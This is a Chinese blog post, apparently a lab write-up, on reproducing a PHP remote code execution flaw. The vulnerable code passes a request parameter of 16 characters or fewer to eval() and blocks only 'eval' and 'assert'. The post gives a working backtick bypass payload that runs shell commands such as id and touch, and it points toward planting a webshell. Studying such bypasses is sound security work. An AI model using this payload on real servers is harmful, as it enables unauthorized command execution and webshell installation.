RCE与SQL漏洞的复现

eval长度限制突破

php eval函数参数限制在16个字符的情况下,如何拿到webshell呢

首先,我们还是先把环境搭好(此次的所有漏洞环境我都部署在Ubuntu下,我的Ubuntu下的环境是nginx+php,至于Ubuntu下的nginx+php环境我也有博客也写到,希望可以帮助到到家。在这里,我建议nginx下的html文件夹最好的用户组和用户都设置为www-data,否则之后的创建一句话木马可能不能创建,我的环境在最开始的时候用户组和用户为root,所以我在这吃了点亏,望大家引以为戒。)

复制代码
<?php
$param = $_REQUEST['param']; 
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

在这里,我们分析代码,这个PHP代码片段存在严重的安全漏洞。它接收用户输入,通过eval()函数执行输入的代码。尽管代码对输入进行了部分过滤,但这种保护并不完全有效,可能导致代码执行攻击(例如,代码注入或远程代码执行)。

这个语句从用户的请求中获取 param 参数。_REQUEST 包含了 _GET, _POST, 和 _COOKIE 的混合数据。

复制代码
if
strlen($param)<17 && stripos($param,=== false && stripos($param,'eval')'assert')
false
  • 这个条件语句检查 $param 的长度是否小于17个字符,并且 $param 中不包含 "eval""assert" 字符串。

  • 通过这种方式,它试图阻止一些明显的危险输入,如包含 evalassert 关键字的代码。

    {
    eval($param);
    }

eval() 函数会将传入的字符串当作PHP代码执行。

这意味着如果用户的输入通过了上述条件检查,输入的内容会直接在服务器上执行。

第一种方法

尽管代码中试图过滤掉 "eval" 和 "assert",以及限制了输入的长度,但这并不能阻止所有可能的攻击。例如,攻击者可以尝试绕过这些过滤条件,输入一些看似无害但实际上可以执行任意代码的内容。例如 phpinfo();

但是我们该如何生成一句话木马呢,由于他限制了eval和assert,突发奇想,因为这个环境部署在linux下,那我们可以使用``包裹代码执行啊

复制代码
echo `$_GET=[1]`;&1=id

数一下16个字符,刚好限制在了17个字符以内,而我们可以传参给1,那么问题不就解决了吗

试试吧

这个时候,我们看了之后权限只是www-data,那我们可以创建文件

echo `$_GET=[1]`;&1=touch /tmp/111.txt

我们既然可以创建这个,那么webshell不也可以吗,只做到这里,剩下的一句话木马的生成可以自行研究下。

相关推荐
乌鸦乌鸦你的小虎牙1 小时前
qt 5.12.8 配置报错(交叉编译环境)
开发语言·数据库·qt
一只大袋鼠2 小时前
Redis 安装+基于短信验证码登录功能的完整实现
java·开发语言·数据库·redis·缓存·学习笔记
Anastasiozzzz2 小时前
深入研究Redis的ZSet底层数据结构:从 Ziplist 的级联更新到 Listpack 的完美救场
数据结构·数据库·redis
菠萝蚊鸭2 小时前
x86 平台使用 buildx 基于源码构建 MySQL Wsrep 5.7.44 镜像
数据库·mysql·galera·wsrep
沙漏无语4 小时前
(二)TIDB搭建正式集群
linux·数据库·tidb
姚不倒4 小时前
三节点 TiDB 集群部署与负载均衡搭建实战
运维·数据库·分布式·负载均衡·tidb
隔壁小邓4 小时前
批量更新方式与对比
数据库
数据知道4 小时前
MongoDB复制集架构原理:Primary、Secondary 与 Arbiter 的角色分工
数据库·mongodb·架构
人道领域4 小时前
苍穹外卖:菜品新增功能全流程解析
数据库·后端·状态模式
修行者Java4 小时前
(七)从 “非结构化数据难存储” 到 “MongoDB 灵活赋能”——MongoDB 实战进阶指南
数据库·mongodb